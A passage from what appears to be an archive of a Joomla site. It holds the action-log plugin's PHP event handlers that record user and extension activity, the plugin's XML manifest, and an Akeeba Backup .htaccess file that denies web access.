			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UNINSTALLED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On updating extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is updated
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UPDATED'))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UPDATED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UPDATED';
		}

		$message = array(
			'action'         => 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Saving extensions logging method
	 * Method is called when an extension is being saved
	 *
	 * @param   string   $context  The extension
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    If the extension is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterSave($context, $table, $isNew)
	{
		$option = $this->app->input->getCmd('option');

		if ($table->get('module') != null)
		{
			$option = 'com_modules';
		}

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the extension type doesn't have it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$message = array(
			'action'         => $isNew ? 'add' : 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $params->type_title,
			'id'             => $table->get($params->id_holder),
			'title'          => $table->get($params->title_holder),
			'extension_name' => $table->get($params->title_holder),
			'itemlink'       => ActionlogsHelper::getContentTypeLink($option, $contentType, $table->get($params->id_holder), $params->id_holder, null)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Deleting extensions logging method
	 * Method is called when an extension is being deleted
	 *
	 * @param   string  $context  The extension
	 * @param   JTable  $table    DataBase Table object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterDelete($context, $table)
	{
		if (!$this->checkLoggable($this->app->input->get('option')))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action' => 'delete',
			'type'   => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $params->type_title,
			'title'  => $table->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On saving user data logging method
	 *
	 * Method is called after user data is stored in the database.
	 * This method logs who created/edited any user's data
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		$context = $this->app->input->get('option');
		$task    = $this->app->input->get->getCmd('task');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$jUser = Factory::getUser();

		if (!$jUser->id)
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTERED';
			$action             = 'register';

			// Reset request
			if ($task === 'reset.request')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_RESET_REQUEST';
				$action             = 'resetrequest';
			}

			// Reset complete
			if ($task === 'reset.complete')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_RESET_COMPLETE';
				$action             = 'resetcomplete';
			}

			// Registration Activation
			if ($task === 'registration.activate')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTRATION_ACTIVATE';
				$action             = 'activaterequest';
			}
		}
		elseif ($isnew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$userId   = $jUser->id ?: $user['id'];
		$username = $jUser->username ?: $user['username'];

		$message = array(
			'action'      => $action,
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name'],
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user['id'],
			'userid'      => $userId,
			'username'    => $username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $userId);
	}

	/**
	 * On deleting user data logging method
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On after save user group data logging method
	 *
	 * Method is called after user group is stored into the database
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    Is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSaveGroup($context, $table, $isNew)
	{
		// Override context (com_users.group) with the component context (com_users) to pass the checkLoggable
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		if ($isNew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$message = array(
			'action'      => $action,
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $table->id,
			'title'       => $table->title,
			'itemlink'    => 'index.php?option=com_users&task=group.edit&id=' . $table->id
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On deleting user group data logging method
	 *
	 * Method is called after user group is deleted from the database
	 *
	 * @param   array    $group    Holds the group data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDeleteGroup($group, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $group['id'],
			'title'       => $group['title']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Method to log user login success action
	 *
	 * @param   array  $options  Array holding options (user, responseType)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterLogin($options)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedInUser       = $options['user'];
		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN';

		$message = array(
			'action'      => 'login',
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedInUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $loggedInUser->id);
	}

	/**
	 * Method to log user login failed action
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLoginFailure($response)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// Get the user id for the given username
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'username')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' = ' . $this->db->quote($response['username']));
		$this->db->setQuery($query);

		try
		{
			$loggedInUser = $this->db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return;
		}

		// Not a valid user, return
		if (!isset($loggedInUser->id))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGIN_FAILED';

		$message = array(
			'action'      => 'login',
			'id'          => $loggedInUser->id,
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedInUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $loggedInUser->id);
	}

	/**
	 * Method to log user's logout action
	 *
	 * @param   array  $user     Holds the user data
	 * @param   array  $options  Array holding options (remember, autoregister, group)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLogout($user, $options = array())
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedOutUser = User::getInstance($user['id']);

		if ($loggedOutUser->block)
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_OUT';

		$message = array(
			'action'      => 'logout',
			'id'          => $loggedOutUser->id,
			'userid'      => $loggedOutUser->id,
			'username'    => $loggedOutUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedOutUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Function to check if a component is loggable or not
	 *
	 * @param   string  $extension  The extension that triggered the event
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	protected function checkLoggable($extension)
	{
		return in_array($extension, $this->loggableExtensions);
	}

	/**
	 * On after Remind username request
	 *
	 * Method is called after user request to remind their username.
	 *
	 * @param   array  $user  Holds the user data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterRemind($user)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'remind',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->name,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->name,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_REMIND', $context, $user->id);
	}

	/**
	 * On after Check-in request
	 *
	 * Method is called after user request to check-in items.
	 *
	 * @param   array  $table  Holds the table name.
	 *
	 * @return  void
	 *
	 * @since   3.9.3
	 */
	public function onAfterCheckin($table)
	{
		$context = 'com_checkin';
		$user    = Factory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'checkin',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'table'       => $table,
		);

		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_CHECKIN', $context, $user->id);
	}

	/**
	 * On after log action purge
	 *
	 * Method is called after user request to clean action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogPurge($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_LOG', $context, $user->id);
	}

	/**
	 * On after log export
	 *
	 * Method is called after user request to export action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogExport($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_LOGEXPORT', $context, $user->id);
	}

	/**
	 * On after Cache purge
	 *
	 * Method is called after user request to clean cached items.
	 *
	 * @param   string  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterPurge($group = 'all')
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'cache',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'group'       => $group,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_CACHE', $context, $user->id);
	}

	/**
	 * On after CMS Update
	 *
	 * Method is called after user update the CMS.
	 *
	 * @param   string  $oldVersion  The Joomla version before the update
	 *
	 * @return  void
	 *
	 * @since   3.9.21
	 */
	public function onJoomlaAfterUpdate($oldVersion = null)
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (empty($oldVersion))
		{
			$oldVersion = JText::_('JLIB_UNKNOWN');
		}

		$message = array(
			'action'      => 'joomlaupdate',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'version'     => JVERSION,
			'oldversion'  => $oldVersion,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_UPDATE', $context, $user->id);
	}
}
joomla/joomla.xml000064400000001420152344125510010027 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin" group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_JOOMLA</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_ACTIONLOG_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_actionlog_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_actionlog_joomla.sys.ini</language>
	</languages>
</extension>
akeebabackup/.htaccess000064400000000246152345744510010754 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>